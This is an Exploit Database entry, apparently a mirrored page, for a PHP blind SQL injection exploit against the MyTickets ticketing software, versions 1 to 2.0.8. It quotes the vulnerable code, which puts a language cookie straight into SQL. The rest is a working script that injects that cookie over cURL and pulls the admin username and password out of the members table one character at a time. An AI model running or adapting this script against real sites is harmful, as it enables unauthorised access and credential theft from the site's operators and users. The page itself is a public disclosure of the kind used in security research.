MyTickets 1.x < 2.0.8 - Blind SQL Injection

• Exploit Database
• 14 阅读

• 作者： al-swisre
  日期： 2012-06-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19264/

• <?php
  /*
  ---------------------------------------------------------------
  MyTickets <=Remote Blind SQL Injection Exploit by al-swisre
  ---------------------------------------------------------------
  
  author...............: al-swisre
  mail.................: oy3[at]hotmail[dot]com
  software link........: http://phpx3.com/scripts.html#mytickets
  affected versions....: from 1 to 2.0.8
  
  
  [-] Vulnerable code in include/system/general/define.php:
  
  43.if(empty($cookies['language'])){
  44. setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");
  45. $language	= $setting['default_language'];
  46. }else{
  47.	if($db->count('languages',"`id`='".$cookies['language']."'") == 0){
  48.$language	= $setting['default_language'];
  49.	}
  50.	$language	= $cookies['language'];
  52.}
  52.
  53.$language_array	= $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));
  
  
  */
  
  
  print "\n+--------------------------------------------------------------------+";
  print "\n| MyTickets <= Remote Blind SQL Injection Exploit by al-swisre |";
  print "\n+--------------------------------------------------------------------+\n";
  
  
  if (!extension_loaded('curl')) die("cURL extension required\n");
  error_reporting(E_ERROR);
  set_time_limit(0);
  
  
  function get($url,$inj)
  {
  
  			$curl =	curl_init();
  			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
  			curl_setopt($curl,CURLOPT_URL,$url);
  curl_setopt($curl, CURLOPT_COOKIE, "MyTickets_language=1$inj");
  curl_setopt($curl, CURLOPT_HEADER, 1);
  curl_setopt($curl, CURLOPT_VERBOSE, 0);
  			$calis = curl_exec($curl);
  			@curl_close($calis);
  return $calis;
  
  
  }
  
  function chek_get($connect)
  {
  
   if(eregi("include",$connect))
  {
  return false;
  }
  else
  {
  return true;
  }
  
  }
  
  
  if ($argc < 2)
  {
  print "\nUsage......: php $argv[0] <url>\n";
  print "\nExample....: php $argv[0] http://localhost/mytickets/";
  print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
  die();
  }
  
  $sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
  $sql_t = chek_get(get($argv[1],"' and 1='1 /*"));
  
  
  if($sql_t == $sql_f)
  {
  
  print "\n\t sorry: magic_quotes_gpc = On ): \n";
  die();
  }
  
  print "\n\t[+] Getting Admin Username and Password\n\n\t";
  
  
  
  for ($g = 1; $g <= 40; $g++) {//eidt
  for ($i = 46; $i <= 122; $i++) {
  
   $inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,username,password)+frOm+members+liMit 0,1),".$g.",1))='".$i."/*"));
  
   if($inject == true){printchr($i);}
  }
  }
  
  
  
  
  ?>